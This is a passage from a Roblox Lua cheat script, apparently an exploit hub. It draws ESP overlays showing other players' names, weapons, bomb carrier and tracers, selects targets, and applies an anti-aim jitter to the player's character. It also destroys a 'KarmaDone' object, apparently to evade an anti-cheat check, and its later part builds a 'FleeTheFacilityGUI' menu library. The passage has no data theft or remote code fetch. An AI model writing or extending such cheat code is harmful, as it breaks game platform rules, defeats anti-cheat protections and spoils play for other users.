5169 up.Visible = false
5170 down.Visible = false
5171 left.Visible = false
5172 right.Visible = false
5173 end
5174
5175 if (Settings.Nametags.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.Nametags.Enemies.Enabled and v.Team ~= Local.Player.Team) then
5176 name.Visible = true
5177 name.Position = info
5178 name.Text = player.Name
5179 name.Transparency = 1-((Settings.Nametags.Allies.Transparency and v.Team == Local.Player.Team) or Settings.Nametags.Enemies.Transparency)
5180 name.Color = (Settings.Nametags.Allies.Color and v.Team == Local.Player.Team) or Settings.Nametags.Enemies.Color
5181 else
5182 name.Visible = false
5183 end
5184
5185 local point, vis = Local.Camera:WorldToViewportPoint(player.Character.PrimaryPart.Position)
5186 if vis and (Settings.WeaponText.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.WeaponText.Enemies.Enabled and v.Team ~= Local.Player.Team) then
5187 weapon.Visible = true
5188 weapon.Position = info + Vector2.new(0, 16)
5189 weapon.Text = tostring(player.Character.EquippedTool.Value)
5190 weapon.Transparency = 1-((Settings.WeaponText.Allies.Transparency and v.Team == Local.Player.Team) or Settings.WeaponText.Enemies.Transparency)
5191 weapon.Color = (Settings.WeaponText.Allies.Color and v.Team == Local.Player.Team) or Settings.WeaponText.Enemies.Color
5192 else
5193 weapon.Visible = false
5194 end
5195
5196 local point, vis = Local.Camera:WorldToViewportPoint(player.Character.PrimaryPart.Position)
5197 if vis and (Settings.BombText.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.BombText.Enemies.Enabled and v.Team ~= Local.Player.Team)and workspace.Status.HasBomb.Value == player.Name then
5198 bomb.Visible = true
5199 bomb.Position = info + Vector2.new(0, 32)
5200 bomb.Text = "Bomb"
5201 bomb.Transparency = 1-((Settings.BombText.Allies.Transparency and v.Team == Local.Player.Team) or Settings.BombText.Enemies.Transparency)
5202 bomb.Color = (Settings.BombText.Allies.Color and v.Team == Local.Player.Team) or Settings.BombText.Enemies.Color
5203 else
5204 bomb.Visible = false
5205 end
5206
5207 if (Settings.Tracers.Allies.Enabled and v.Team == Local.Player.Team) or (Settings.Tracers.Enemies.Enabled and v.Team ~= Local.Player.Team) then
5208 local half = (xMax-xMin)/2
5209 tracer.Visible = true
5210 tracer.From = Vector2.new(Local.Camera.ViewportSize.X/2, Local.Camera.ViewportSize.Y)
5211 tracer.To = Vector2.new(xMin+half, yMax)
5212 tracer.Transparency = 1-((Settings.Tracers.Allies.Transparency and v.Team == Local.Player.Team) or Settings.Tracers.Enemies.Transparency)
5213
5214 tracer.Color = (Settings.Tracers.Allies.Color and v.Team == Local.Player.Team) or Settings.Tracers.Enemies.Color
5215 else
5216 tracer.Visible = false
5217 end
5218 else
5219 disable()
5220 end
5221 end)
5222
5223 doSkins(v, added)
5224end
5225
5226S:connect(function()
5227 for i,v in pairs(Services.Players:GetPlayers()) do
5228 local addTargets = addTargets
5229 local Mouse = Local.Mouse
5230 local stat = getStatus(v)
5231 if stat == "Friend" then return end
5232 stat = Settings[stat]
5233 if stat.DetectionMethod == "All Threats (360°)" then
5234 if isAlive(v) and v.Team ~= Local.Player.Team then
5235 local Threat = CalculateThreat(v)
5236 if Threat then
5237 table.insert(Storage.Targets, v)
5238 return
5239 end
5240 end
5241 end
5242 end
5243end)
5244
5245S:connect(function()
5246 if Settings.AA.Enabled and Local.Player.Character and Local.Player.Character:FindFirstChild("HumanoidRootPart") and Local.Player.Character:FindFirstChild("Humanoid") then
5247 Local.Player.Character.Humanoid.AutoRotate = false
5248 local HRP = Local.Player.Character.HumanoidRootPart
5249 if JNegative then
5250 Jitter = (Jitter - Settings.AA.JSpeed) % (Settings.AA.JRange+1)
5251 else
5252 Jitter = (Jitter + Settings.AA.JSpeed) % (Settings.AA.JRange+1)
5253 end
5254 local Offset
5255 if JRotation then
5256 Offset = CFrame.Angles(0,-math.rad(Jitter),0)
5257 else
5258 Offset = CFrame.Angles(0,math.rad(Jitter),0)
5259 end
5260
5261 if Settings.AA.Direction == "Manual" then
5262 Quarter = math.pi / 2
5263 if Direction == "Left" then
5264 HRP.CFrame = CFrame.new(HRP.CFrame.p) * CFrame.Angles(0, Quarter*3, 0) * Offset
5265 elseif Direction == "Back" then
5266 HRP.CFrame = CFrame.new(HRP.CFrame.p) * CFrame.Angles(0, Quarter*2, 0) * Offset
5267 elseif Direction == "Right" then
5268 HRP.CFrame = CFrame.new(HRP.CFrame.p) * CFrame.Angles(0, Quarter, 0) * Offset
5269 else
5270 Local.Player.Character.Humanoid.AutoRotate = true
5271 end
5272 elseif Settings.AA.Direction ~= "None" then
5273 local ohn = CalculateAntiAngles(Settings.AA.Pitch > 1)
5274 if ohn then
5275 HRP.CFrame = ohn * Offset
5276 end
5277 else
5278 HRP.CFrame = CFrame.new(HRP.CFrame.p) * Offset
5279 end
5280 end
5281end)
5282
5283Local.Player:WaitForChild("KarmaDone"):Destroy()
5284
5285Services.Players.PlayerAdded:Connect(newPlayer)
5286Services.Players.PlayerRemoving:Connect(leavePlayer)
5287
5288Services.Lighting.LightingChanged:connect(function()
5289 Services.Lighting.GlobalShadows = false
5290end)
5291
5292function checkForSkybox(v)
5293 if v:IsA("Sky") and v ~= Skybox then
5294 v:Destroy()
5295 end
5296end
5297
5298Services.Lighting.ChildAdded:connect(function(v)
5299 checkForSkybox(v)
5300end)
5301
5302for i,v in pairs(Services.Lighting:GetDescendants()) do
5303 checkForSkybox(v)
5304end
5305
5306game.Close:connect(Save)
5307
5308for i,v in pairs(Services.Players:GetPlayers()) do
5309 newPlayer(v, true)
5310end
5311
5312end)
5313
5314FleeTheFacilityGUI.Name = "FleeTheFacilityGUI"
5315FleeTheFacilityGUI.Parent = main
5316FleeTheFacilityGUI.BackgroundColor3 = Color3.fromRGB(255, 0, 255)
5317FleeTheFacilityGUI.Position = UDim2.new(0.428601861, 0, 0.342545927, 0)
5318FleeTheFacilityGUI.Size = UDim2.new(0, 88, 0, 25)
5319FleeTheFacilityGUI.Font = Enum.Font.SourceSans
5320FleeTheFacilityGUI.Text = "FleeTheFacilityGUI"
5321FleeTheFacilityGUI.TextColor3 = Color3.fromRGB(0, 0, 0)
5322FleeTheFacilityGUI.TextSize = 11.000
5323FleeTheFacilityGUI.MouseButton1Down:connect(function()
5324local library = {count = 0, queue = {}, callbacks = {}, rainbowtable = {}, toggled = true, binds = {}};
5325local defaults; do
5326 local dragger = {}; do
5327 local mouse = game:GetService("Players").LocalPlayer:GetMouse();
5328 local inputService = game:GetService('UserInputService');
5329 local heartbeat = game:GetService("RunService").Heartbeat;
5330 -- // credits to Ririchi / Inori for this cute drag function :)
5331 function dragger.new(frame)
5332 local s, event = pcall(function()
5333 return frame.MouseEnter
5334 end)
5335
5336 if s then
5337 frame.Active = true;
5338
5339 event:connect(function()
5340 local input = frame.InputBegan:connect(function(key)
5341 if key.UserInputType == Enum.UserInputType.MouseButton1 then
5342 local objectPosition = Vector2.new(mouse.X - frame.AbsolutePosition.X, mouse.Y - frame.AbsolutePosition.Y);
5343 while heartbeat:wait() and inputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
5344 pcall(function()
5345 frame:TweenPosition(UDim2.new(0, mouse.X - objectPosition.X + (frame.Size.X.Offset * frame.AnchorPoint.X), 0, mouse.Y - objectPosition.Y + (frame.Size.Y.Offset * frame.AnchorPoint.Y)), 'Out', 'Linear', 0.1, true);
5346 end)
5347 end
5348 end
5349 end)
5350
5351 local leave;
5352 leave = frame.MouseLeave:connect(function()
5353 input:disconnect();
5354 leave:disconnect();
5355 end)
5356 end)
5357 end
5358 end
5359
5360 game:GetService('UserInputService').InputBegan:connect(function(key, gpe)
5361 if (not gpe) then
5362 if key.KeyCode == Enum.KeyCode.RightControl then
5363 library.toggled = not library.toggled;
5364 for i, data in next, library.queue do
5365 local pos = (library.toggled and data.p or UDim2.new(-1, 0, -0.5,0))
5366 data.w:TweenPosition(pos, (library.toggled and 'Out' or 'In'), 'Quad', 0.15, true)
5367 wait();
5368 end
5369 end
5370 end
5371 end)
5372 end
5373
5374 local types = {}; do
5375 types.__index = types;
5376 function types.window(name, options)
5377 library.count = library.count + 1
5378 local newWindow = library:Create('Frame', {
5379 Name = name;
5380 Size = UDim2.new(0, 190, 0, 30);
5381 BackgroundColor3 = options.topcolor;
5382 BorderSizePixel = 0;
5383 Parent = library.container;
5384 Position = UDim2.new(0, (15 + (200 * library.count) - 200), 0, 0);
5385 ZIndex = 3;
5386 library:Create('TextLabel', {
5387 Text = name;
5388 Size = UDim2.new(1, -10, 1, 0);
5389 Position = UDim2.new(0, 5, 0, 0);
5390 BackgroundTransparency = 1;
5391 Font = Enum.Font.Code;
5392 TextSize = options.titlesize;
5393 Font = options.titlefont;
5394 TextColor3 = options.titletextcolor;
5395 TextStrokeTransparency = library.options.titlestroke;
5396 TextStrokeColor3 = library.options.titlestrokecolor;
5397 ZIndex = 3;
5398 });
5399 library:Create("TextButton", {
5400 Size = UDim2.new(0, 30, 0, 30);
5401 Position = UDim2.new(1, -35, 0, 0);
5402 BackgroundTransparency = 1;
5403 Text = "-";
5404 TextSize = options.titlesize;
5405 Font = options.titlefont;--Enum.Font.Code;
5406 Name = 'window_toggle';
5407 TextColor3 = options.titletextcolor;
5408 TextStrokeTransparency = library.options.titlestroke;
5409 TextStrokeColor3 = library.options.titlestrokecolor;
5410 ZIndex = 3;
5411 });
5412 library:Create("Frame", {
5413 Name = 'Underline';
5414 Size = UDim2.new(1, 0, 0, 2);
5415 Position = UDim2.new(0, 0, 1, -2);
5416 BackgroundColor3 = (options.underlinecolor ~= "rainbow" and options.underlinecolor or Color3.new());
5417 BorderSizePixel = 0;
5418 ZIndex = 3;
5419 });
5420 library:Create('Frame', {
5421 Name = 'container';
5422 Position = UDim2.new(0, 0, 1, 0);
5423 Size = UDim2.new(1, 0, 0, 0);
5424 BorderSizePixel = 0;
5425 BackgroundColor3 = options.bgcolor;
5426 ClipsDescendants = false;
5427 library:Create('UIListLayout', {
5428 Name = 'List';
5429 SortOrder = Enum.SortOrder.LayoutOrder;
5430 })
5431 });
5432 })
5433
5434 if options.underlinecolor == "rainbow" then
5435 table.insert(library.rainbowtable, newWindow:FindFirstChild('Underline'))
5436 end
5437
5438 local window = setmetatable({
5439 count = 0;
5440 object = newWindow;
5441 container = newWindow.container;
5442 toggled = true;
5443 flags = {};
5444
5445 }, types)
5446
5447 table.insert(library.queue, {
5448 w = window.object;
5449 p = window.object.Position;
5450 })
5451
5452 newWindow:FindFirstChild("window_toggle").MouseButton1Click:connect(function()
5453 window.toggled = not window.toggled;
5454 newWindow:FindFirstChild("window_toggle").Text = (window.toggled and "+" or "-")
5455 if (not window.toggled) then
5456 window.container.ClipsDescendants = true;
5457 end
5458 wait();
5459 local y = 0;
5460 for i, v in next, window.container:GetChildren() do
5461 if (not v:IsA('UIListLayout')) then
5462 y = y + v.AbsoluteSize.Y;
5463 end
5464 end
5465
5466 local targetSize = window.toggled and UDim2.new(1, 0, 0, y+5) or UDim2.new(1, 0, 0, 0);
5467 local targetDirection = window.toggled and "In" or "Out"
5468
5469 window.container:TweenSize(targetSize, targetDirection, "Quad", 0.15, true)
5470 wait(.15)
5471 if window.toggled then
5472 window.container.ClipsDescendants = false;
5473 end
5474 end)
5475
5476 return window;
5477 end
5478
5479 function types:Resize()
5480 local y = 0;
5481 for i, v in next, self.container:GetChildren() do
5482 if (not v:IsA('UIListLayout')) then
5483 y = y + v.AbsoluteSize.Y;
5484 end
5485 end
5486 self.container.Size = UDim2.new(1, 0, 0, y+5)
5487 end
5488
5489 function types:GetOrder()
5490 local c = 0;
5491 for i, v in next, self.container:GetChildren() do
5492 if (not v:IsA('UIListLayout')) then
5493 c = c + 1
5494 end
5495 end
5496 return c
5497 end
5498
5499 function types:Label(text)
5500 local v = game:GetService'TextService':GetTextSize(text, 18, Enum.Font.SourceSans, Vector2.new(math.huge, math.huge))
5501 local object = library:Create('Frame', {
5502 Size = UDim2.new(1, 0, 0, v.Y + 5);
5503 BackgroundTransparency = 1;
5504 library:Create('TextLabel', {
5505 Size = UDim2.new(1, 0, 1, 0);
5506 Position = UDim2.new(0, 10, 0, 0);
5507 LayoutOrder = self:GetOrder();
5508
5509 Text = text;
5510 TextSize = 18;
5511 Font = Enum.Font.SourceSans;
5512 TextColor3 = Color3.fromRGB(255, 255, 255);
5513 BackgroundTransparency = 1;
5514 TextXAlignment = Enum.TextXAlignment.Left;
5515 TextWrapped = true;
5516 });
5517 Parent = self.container
5518 })
5519 self:Resize();
5520 end
5521
5522 function types:Toggle(name, options, callback)
5523 local default = options.default or false;
5524 local location = options.location or self.flags;
5525 local flag = options.flag or "";
5526 local callback = callback or function() end;
5527
5528 location[flag] = default;
5529
5530 local check = library:Create('Frame', {
5531 BackgroundTransparency = 1;
5532 Size = UDim2.new(1, 0, 0, 25);
5533 LayoutOrder = self:GetOrder();
5534 library:Create('TextLabel', {
5535 Name = name;
5536 Text = "\r" .. name;
5537 BackgroundTransparency = 1;
5538 TextColor3 = library.options.textcolor;
5539 Position = UDim2.new(0, 5, 0, 0);
5540 Size = UDim2.new(1, -5, 1, 0);
5541 TextXAlignment = Enum.TextXAlignment.Left;
5542 Font = library.options.font;
5543 TextSize = library.options.fontsize;
5544 TextStrokeTransparency = library.options.textstroke;
5545 TextStrokeColor3 = library.options.strokecolor;
5546 library:Create('TextButton', {
5547 Text = (location[flag] and utf8.char(10003) or "");
5548 Font = library.options.font;
5549 TextSize = library.options.fontsize;
5550 Name = 'Checkmark';
5551 Size = UDim2.new(0, 20, 0, 20);
5552 Position = UDim2.new(1, -25, 0, 4);
5553 TextColor3 = library.options.textcolor;
5554 BackgroundColor3 = library.options.bgcolor;
5555 BorderColor3 = library.options.bordercolor;
5556 TextStrokeTransparency = library.options.textstroke;
5557 TextStrokeColor3 = library.options.strokecolor;
5558 })
5559 });
5560 Parent = self.container;
5561 });
5562
5563 local function click(t)
5564 location[flag] = not location[flag];
5565 callback(location[flag])
5566 check:FindFirstChild(name).Checkmark.Text = location[flag] and utf8.char(10003) or "";
5567 end
5568
5569 check:FindFirstChild(name).Checkmark.MouseButton1Click:connect(click)
5570 library.callbacks[flag] = click;
5571
5572 if location[flag] == true then
5573 callback(location[flag])
5574 end
5575
5576 self:Resize();
5577 return {
5578 Set = function(self, b)
5579 location[flag] = b;
5580 callback(location[flag])
5581 check:FindFirstChild(name).Checkmark.Text = location[flag] and utf8.char(10003) or "";
5582 end
5583 }
5584 end
5585
5586 function types:Button(name, callback)
5587 callback = callback or function() end;
5588
5589 local check = library:Create('Frame', {
5590 BackgroundTransparency = 1;
5591 Size = UDim2.new(1, 0, 0, 25);
5592 LayoutOrder = self:GetOrder();
5593 library:Create('TextButton', {
5594 Name = name;
5595 Text = name;
5596 BackgroundColor3 = library.options.btncolor;
5597 BorderColor3 = library.options.bordercolor;
5598 TextStrokeTransparency = library.options.textstroke;
5599 TextStrokeColor3 = library.options.strokecolor;
5600 TextColor3 = library.options.textcolor;
5601 Position = UDim2.new(0, 5, 0, 5);
5602 Size = UDim2.new(1, -10, 0, 20);
5603 Font = library.options.font;
5604 TextSize = library.options.fontsize;
5605 });
5606 Parent = self.container;
5607 });
5608
5609 check:FindFirstChild(name).MouseButton1Click:connect(callback)
5610 self:Resize();
5611
5612 return {
5613 Fire = function()
5614 callback();
5615 end
5616 }
5617 end
5618
5619 function types:Box(name, options, callback) --type, default, data, location, flag)
5620 local type = options.type or "";
5621 local default = options.default or "";
5622 local data = options.data
5623 local location = options.location or self.flags;
5624 local flag = options.flag or "";
5625 local callback = callback or function() end;
5626 local min = options.min or 0;
5627 local max = options.max or 9e9;
5628
5629 if type == 'number' and (not tonumber(default)) then
5630 location[flag] = default;
5631 else
5632 location[flag] = "";
5633 default = "";
5634 end
5635
5636 local check = library:Create('Frame', {
5637 BackgroundTransparency = 1;
5638 Size = UDim2.new(1, 0, 0, 25);
5639 LayoutOrder = self:GetOrder();
5640 library:Create('TextLabel', {
5641 Name = name;
5642 Text = "\r" .. name;
5643 BackgroundTransparency = 1;
5644 TextColor3 = library.options.textcolor;
5645 TextStrokeTransparency = library.options.textstroke;
5646 TextStrokeColor3 = library.options.strokecolor;
5647 Position = UDim2.new(0, 5, 0, 0);
5648 Size = UDim2.new(1, -5, 1, 0);
5649 TextXAlignment = Enum.TextXAlignment.Left;
5650 Font = library.options.font;
5651 TextSize = library.options.fontsize;
5652 library:Create('TextBox', {
5653 TextStrokeTransparency = library.options.textstroke;
5654 TextStrokeColor3 = library.options.strokecolor;
5655 Text = tostring(default);
5656 Font = library.options.font;
5657 TextSize = library.options.fontsize;
5658 Name = 'Box';
5659 Size = UDim2.new(0, 60, 0, 20);
5660 Position = UDim2.new(1, -65, 0, 3);
5661 TextColor3 = library.options.textcolor;
5662 BackgroundColor3 = library.options.boxcolor;
5663 BorderColor3 = library.options.bordercolor;
5664 PlaceholderColor3 = library.options.placeholdercolor;
5665 })
5666 });
5667 Parent = self.container;
5668 });
5669
5670 local box = check:FindFirstChild(name):FindFirstChild('Box');
5671 box.FocusLost:connect(function(e)
5672 local old = location[flag];
5673 if type == "number" then
5674 local num = tonumber(box.Text)
5675 if (not num) then
5676 box.Text = tonumber(location[flag])
5677 else
5678 location[flag] = math.clamp(num, min, max)
5679 box.Text = tonumber(location[flag])
5680 end
5681 else
5682 location[flag] = tostring(box.Text)
5683 end
5684
5685 callback(location[flag], old, e)
5686 end)
5687
5688 if type == 'number' then
5689 box:GetPropertyChangedSignal('Text'):connect(function()
5690 box.Text = string.gsub(box.Text, "[%a+]", "");
5691 end)
5692 end
5693
5694 self:Resize();
5695 return box
5696 end
5697
5698 function types:Bind(name, options, callback)
5699 local location = options.location or self.flags;
5700 local keyboardOnly = options.kbonly or false
5701 local flag = options.flag or "";
5702 local callback = callback or function() end;
5703 local default = options.default;
5704
5705 if keyboardOnly and (not tostring(default):find('MouseButton')) then
5706 location[flag] = default
5707 end
5708
5709 local banned = {
5710 Return = true;
5711 Space = true;
5712 Tab = true;
5713 Unknown = true;
5714 }
5715
5716 local shortNames = {
5717 RightControl = 'RightCtrl';
5718 LeftControl = 'LeftCtrl';
5719 LeftShift = 'LShift';
5720 RightShift = 'RShift';
5721 MouseButton1 = "Mouse1";
5722 MouseButton2 = "Mouse2";
5723 }
5724
5725 local allowed = {
5726 MouseButton1 = true;
5727 MouseButton2 = true;
5728 }
5729
5730 local nm = (default and (shortNames[default.Name] or default.Name) or "None");
5731 local check = library:Create('Frame', {
5732 BackgroundTransparency = 1;
5733 Size = UDim2.new(1, 0, 0, 30);
5734 LayoutOrder = self:GetOrder();
5735 library:Create('TextLabel', {
5736 Name = name;
5737 Text = "\r" .. name;
5738 BackgroundTransparency = 1;
5739 TextColor3 = library.options.textcolor;
5740 Position = UDim2.new(0, 5, 0, 0);
5741 Size = UDim2.new(1, -5, 1, 0);
5742 TextXAlignment = Enum.TextXAlignment.Left;
5743 Font = library.options.font;
5744 TextSize = library.options.fontsize;
5745 TextStrokeTransparency = library.options.textstroke;
5746 TextStrokeColor3 = library.options.strokecolor;
5747 BorderColor3 = library.options.bordercolor;
5748 BorderSizePixel = 1;
5749 library:Create('TextButton', {
5750 Name = 'Keybind';
5751 Text = nm;
5752 TextStrokeTransparency = library.options.textstroke;
5753 TextStrokeColor3 = library.options.strokecolor;
5754 Font = library.options.font;
5755 TextSize = library.options.fontsize;
5756 Size = UDim2.new(0, 60, 0, 20);
5757 Position = UDim2.new(1, -65, 0, 5);
5758 TextColor3 = library.options.textcolor;
5759 BackgroundColor3 = library.options.bgcolor;
5760 BorderColor3 = library.options.bordercolor;
5761 BorderSizePixel = 1;
5762 })
5763 });
5764 Parent = self.container;
5765 });
5766
5767 local button = check:FindFirstChild(name).Keybind;
5768 button.MouseButton1Click:connect(function()
5769 library.binding = true
5770
5771 button.Text = "..."
5772 local a, b = game:GetService('UserInputService').InputBegan:wait();
5773 local name = tostring(a.KeyCode.Name);
5774 local typeName = tostring(a.UserInputType.Name);
5775
5776 if (a.UserInputType ~= Enum.UserInputType.Keyboard and (allowed[a.UserInputType.Name]) and (not keyboardOnly)) or (a.KeyCode and (not banned[a.KeyCode.Name])) then
5777 local name = (a.UserInputType ~= Enum.UserInputType.Keyboard and a.UserInputType.Name or a.KeyCode.Name);
5778 location[flag] = (a);
5779 button.Text = shortNames[name] or name;
5780
5781 else
5782 if (location[flag]) then
5783 if (not pcall(function()
5784 return location[flag].UserInputType
5785 end)) then
5786 local name = tostring(location[flag])
5787 button.Text = shortNames[name] or name
5788 else
5789 local name = (location[flag].UserInputType ~= Enum.UserInputType.Keyboard and location[flag].UserInputType.Name or location[flag].KeyCode.Name);
5790 button.Text = shortNames[name] or name;
5791 end
5792 end
5793 end
5794
5795 wait(0.1)
5796 library.binding = false;
5797 end)
5798
5799 if location[flag] then
5800 button.Text = shortNames[tostring(location[flag].Name)] or tostring(location[flag].Name)
5801 end
5802
5803 library.binds[flag] = {
5804 location = location;
5805 callback = callback;
5806 };
5807
5808 self:Resize();
5809 end
5810
5811 function types:Section(name)
5812 local order = self:GetOrder();
5813 local determinedSize = UDim2.new(1, 0, 0, 25)
5814 local determinedPos = UDim2.new(0, 0, 0, 4);
5815 local secondarySize = UDim2.new(1, 0, 0, 20);
5816
5817 if order == 0 then
5818 determinedSize = UDim2.new(1, 0, 0, 21)
5819 determinedPos = UDim2.new(0, 0, 0, -1);
5820 secondarySize = nil
5821 end
5822
5823 local check = library:Create('Frame', {
5824 Name = 'Section';
5825 BackgroundTransparency = 1;
5826 Size = determinedSize;
5827 BackgroundColor3 = library.options.sectncolor;
5828 BorderSizePixel = 0;
5829 LayoutOrder = order;
5830 library:Create('TextLabel', {
5831 Name = 'section_lbl';
5832 Text = name;
5833 BackgroundTransparency = 0;
5834 BorderSizePixel = 0;
5835 BackgroundColor3 = library.options.sectncolor;
5836 TextColor3 = library.options.textcolor;
5837 Position = determinedPos;
5838 Size = (secondarySize or UDim2.new(1, 0, 1, 0));
5839 Font = library.options.font;
5840 TextSize = library.options.fontsize;
5841 TextStrokeTransparency = library.options.textstroke;
5842 TextStrokeColor3 = library.options.strokecolor;
5843 });
5844 Parent = self.container;
5845 });
5846
5847 self:Resize();
5848 end
5849
5850 function types:Slider(name, options, callback)
5851 local default = options.default or options.min;
5852 local min = options.min or 0;
5853 local max = options.max or 1;
5854 local location = options.location or self.flags;
5855 local precise = options.precise or false -- e.g 0, 1 vs 0, 0.1, 0.2, ...
5856 local flag = options.flag or "";
5857 local callback = callback or function() end
5858
5859 location[flag] = default;
5860
5861 local check = library:Create('Frame', {
5862 BackgroundTransparency = 1;
5863 Size = UDim2.new(1, 0, 0, 25);
5864 LayoutOrder = self:GetOrder();
5865 library:Create('TextLabel', {
5866 Name = name;
5867 TextStrokeTransparency = library.options.textstroke;
5868 TextStrokeColor3 = library.options.strokecolor;
5869 Text = "\r" .. name;
5870 BackgroundTransparency = 1;
5871 TextColor3 = library.options.textcolor;
5872 Position = UDim2.new(0, 5, 0, 2);
5873 Size = UDim2.new(1, -5, 1, 0);
5874 TextXAlignment = Enum.TextXAlignment.Left;
5875 Font = library.options.font;
5876 TextSize = library.options.fontsize;
5877 library:Create('Frame', {
5878 Name = 'Container';
5879 Size = UDim2.new(0, 60, 0, 20);
5880 Position = UDim2.new(1, -65, 0, 3);
5881 BackgroundTransparency = 1;
5882 --BorderColor3 = library.options.bordercolor;
5883 BorderSizePixel = 0;
5884 library:Create('TextLabel', {
5885 Name = 'ValueLabel';
5886 Text = default;
5887 BackgroundTransparency = 1;
5888 TextColor3 = library.options.textcolor;
5889 Position = UDim2.new(0, -10, 0, 0);
5890 Size = UDim2.new(0, 1, 1, 0);
5891 TextXAlignment = Enum.TextXAlignment.Right;
5892 Font = library.options.font;
5893 TextSize = library.options.fontsize;
5894 TextStrokeTransparency = library.options.textstroke;
5895 TextStrokeColor3 = library.options.strokecolor;
5896 });
5897 library:Create('TextButton', {
5898 Name = 'Button';
5899 Size = UDim2.new(0, 5, 1, -2);
5900 Position = UDim2.new(0, 0, 0, 1);
5901 AutoButtonColor = false;
5902 Text = "";
5903 BackgroundColor3 = Color3.fromRGB(20, 20, 20);
5904 BorderSizePixel = 0;
5905 ZIndex = 2;
5906 TextStrokeTransparency = library.options.textstroke;
5907 TextStrokeColor3 = library.options.strokecolor;
5908 });
5909 library:Create('Frame', {
5910 Name = 'Line';
5911 BackgroundTransparency = 0;
5912 Position = UDim2.new(0, 0, 0.5, 0);
5913 Size = UDim2.new(1, 0, 0, 1);
5914 BackgroundColor3 = Color3.fromRGB(255, 255, 255);
5915 BorderSizePixel = 0;
5916 });
5917 })
5918 });
5919 Parent = self.container;
5920 });
5921
5922 local overlay = check:FindFirstChild(name);
5923
5924 local renderSteppedConnection;
5925 local inputBeganConnection;
5926 local inputEndedConnection;
5927 local mouseLeaveConnection;
5928 local mouseDownConnection;
5929 local mouseUpConnection;
5930
5931 check:FindFirstChild(name).Container.MouseEnter:connect(function()
5932 local function update()
5933 if renderSteppedConnection then renderSteppedConnection:disconnect() end
5934
5935
5936 renderSteppedConnection = game:GetService('RunService').RenderStepped:connect(function()
5937 local mouse = game:GetService("UserInputService"):GetMouseLocation()
5938 local percent = (mouse.X - overlay.Container.AbsolutePosition.X) / (overlay.Container.AbsoluteSize.X)
5939 percent = math.clamp(percent, 0, 1)
5940 percent = tonumber(string.format("%.2f", percent))
5941
5942 overlay.Container.Button.Position = UDim2.new(math.clamp(percent, 0, 0.99), 0, 0, 1)
5943
5944 local num = min + (max - min) * percent
5945 local value = (precise and num or math.floor(num))
5946
5947 overlay.Container.ValueLabel.Text = value;
5948 callback(tonumber(value))
5949 location[flag] = tonumber(value)
5950 end)
5951 end
5952
5953 local function disconnect()
5954 if renderSteppedConnection then renderSteppedConnection:disconnect() end
5955 if inputBeganConnection then inputBeganConnection:disconnect() end
5956 if inputEndedConnection then inputEndedConnection:disconnect() end
5957 if mouseLeaveConnection then mouseLeaveConnection:disconnect() end
5958 if mouseUpConnection then mouseUpConnection:disconnect() end
5959 end
5960
5961 inputBeganConnection = check:FindFirstChild(name).Container.InputBegan:connect(function(input)
5962 if input.UserInputType == Enum.UserInputType.MouseButton1 then
5963 update()
5964 end
5965 end)
5966
5967 inputEndedConnection = check:FindFirstChild(name).Container.InputEnded:connect(function(input)
5968 if input.UserInputType == Enum.UserInputType.MouseButton1 then
5969 disconnect()
5970 end
5971 end)
5972
5973 mouseDownConnection = check:FindFirstChild(name).Container.Button.MouseButton1Down:connect(update)
5974 mouseUpConnection = game:GetService("UserInputService").InputEnded:connect(function(a, b)
5975 if a.UserInputType == Enum.UserInputType.MouseButton1 and (mouseDownConnection.Connected) then
5976 disconnect()
5977 end
5978 end)
5979 end)
5980
5981 if default ~= min then
5982 local percent = 1 - ((max - default) / (max - min))
5983 local number = default
5984
5985 number = tonumber(string.format("%.2f", number))
5986 if (not precise) then
5987 number = math.floor(number)
5988 end
5989
5990 overlay.Container.Button.Position = UDim2.new(math.clamp(percent, 0, 0.99), 0, 0, 1)
5991 overlay.Container.ValueLabel.Text = number
5992 end
5993
5994 self:Resize();
5995 return {
5996 Set = function(self, value)
5997 local percent = 1 - ((max - value) / (max - min))
5998 local number = value
5999
6000 number = tonumber(string.format("%.2f", number))
6001 if (not precise) then
6002 number = math.floor(number)
6003 end
6004
6005 overlay.Container.Button.Position = UDim2.new(math.clamp(percent, 0, 0.99), 0, 0, 1)
6006 overlay.Container.ValueLabel.Text = number
6007 location[flag] = number
6008 callback(number)
6009 end
6010 }
6011 end
6012
6013 function types:SearchBox(text, options, callback)
6014 local list = options.list or {};
6015 local flag = options.flag or "";
6016 local location = options.location or self.flags;
6017 local callback = callback or function() end;
6018
6019 local busy = false;
6020 local box = library:Create('Frame', {
6021 BackgroundTransparency = 1;
6022 Size = UDim2.new(1, 0, 0, 25);
6023 LayoutOrder = self:GetOrder();
6024 library:Create('TextBox', {
6025 Text = "";
6026 PlaceholderText = text;
6027 PlaceholderColor3 = Color3.fromRGB(60, 60, 60);
6028 Font = library.options.font;
6029 TextSize = library.options.fontsize;
6030 Name = 'Box';
6031 Size = UDim2.new(1, -10, 0, 20);
6032 Position = UDim2.new(0, 5, 0, 4);
6033 TextColor3 = library.options.textcolor;
6034 BackgroundColor3 = library.options.dropcolor;
6035 BorderColor3 = library.options.bordercolor;
6036 TextStrokeTransparency = library.options.textstroke;
6037 TextStrokeColor3 = library.options.strokecolor;
6038 library:Create('ScrollingFrame', {
6039 Position = UDim2.new(0, 0, 1, 1);
6040 Name = 'Container';
6041 BackgroundColor3 = library.options.btncolor;
6042 ScrollBarThickness = 0;
6043 BorderSizePixel = 0;
6044 BorderColor3 = library.options.bordercolor;
6045 Size = UDim2.new(1, 0, 0, 0);
6046 library:Create('UIListLayout', {
6047 Name = 'ListLayout';
6048 SortOrder = Enum.SortOrder.LayoutOrder;
6049 });
6050 ZIndex = 2;
6051 });
6052 });
6053 Parent = self.container;
6054 })
6055
6056 local function rebuild(text)
6057 box:FindFirstChild('Box').Container.ScrollBarThickness = 0
6058 for i, child in next, box:FindFirstChild('Box').Container:GetChildren() do
6059 if (not child:IsA('UIListLayout')) then
6060 child:Destroy();
6061 end
6062 end
6063
6064 if #text > 0 then
6065 for i, v in next, list do
6066 if string.sub(string.lower(v), 1, string.len(text)) == string.lower(text) then
6067 local button = library:Create('TextButton', {
6068 Text = v;
6069 Font = library.options.font;
6070 TextSize = library.options.fontsize;
6071 TextColor3 = library.options.textcolor;
6072 BorderColor3 = library.options.bordercolor;
6073 TextStrokeTransparency = library.options.textstroke;
6074 TextStrokeColor3 = library.options.strokecolor;
6075 Parent = box:FindFirstChild('Box').Container;
6076 Size = UDim2.new(1, 0, 0, 20);
